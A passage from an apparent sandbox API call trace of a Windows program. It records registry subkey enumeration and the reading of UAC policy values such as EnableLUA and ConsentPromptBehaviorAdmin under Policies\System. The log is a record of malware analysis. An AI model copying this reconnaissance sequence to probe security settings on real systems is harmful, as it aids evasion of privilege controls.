returned 11 [0227.060] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x18b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0227.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x18c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0227.060] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x18b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0227.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x18c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0227.060] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x18b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0227.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x18c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0227.060] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x18b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0227.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x18c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0227.060] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x18b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0227.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0227.062] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x18b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0227.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x18c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0227.062] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x18b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0227.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0227.062] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x18b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0227.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x18c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0227.062] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x18b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0227.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x18c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0227.062] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x18b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0227.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x18c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0227.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x18b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0227.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0227.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x18b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0227.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x18c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0227.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x18b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0227.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x18c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0227.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x18b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0227.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x18c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0227.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x18b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0227.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0227.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x18b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0227.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x18c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0227.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x18b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0227.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x18c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0227.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x18b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0227.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x18c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0227.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x18b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0227.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x18c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0227.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x18b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0227.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x18c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0227.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x18b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0227.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x18c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0227.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x18b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0227.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x18c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0227.065] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x18b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0227.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x18c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0227.065] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x18b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0227.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0227.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x18c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0227.065] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x18b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0227.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0227.065] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x18b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0227.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x18c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0227.065] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x58f728 | out: phkResult=0x58f728*=0xa0) returned 0x0 [0227.065] RegCloseKey (hKey=0x24) returned 0x0 [0227.065] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x18b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0227.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x18c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0227.066] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x18b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0227.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x18c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0227.066] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x18b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0227.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x18c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0227.066] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x18b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0227.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x18c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0227.066] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x18b930, cchName=0x104 | out: lpName="System") returned 0x0 [0227.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x18c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0227.066] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x58f728 | out: phkResult=0x58f728*=0x24) returned 0x0 [0227.066] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b930) returned 1 [0227.066] RegCloseKey (hKey=0xa0) returned 0x0 [0227.066] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b860) returned 1 [0227.066] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.066] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18b860 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b878 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.067] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b888 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.067] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b898 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c168 [0227.067] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b930 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1b0 [0227.067] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x20) returned 0x18b940 [0227.067] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b860) returned 1 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b860 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1f8 [0227.067] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b968 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c240 [0227.067] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b978 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.067] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b988 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c2d0 [0227.067] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.067] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x30) returned 0x18b998 [0227.068] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b940) returned 1 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b940 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c318 [0227.068] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: 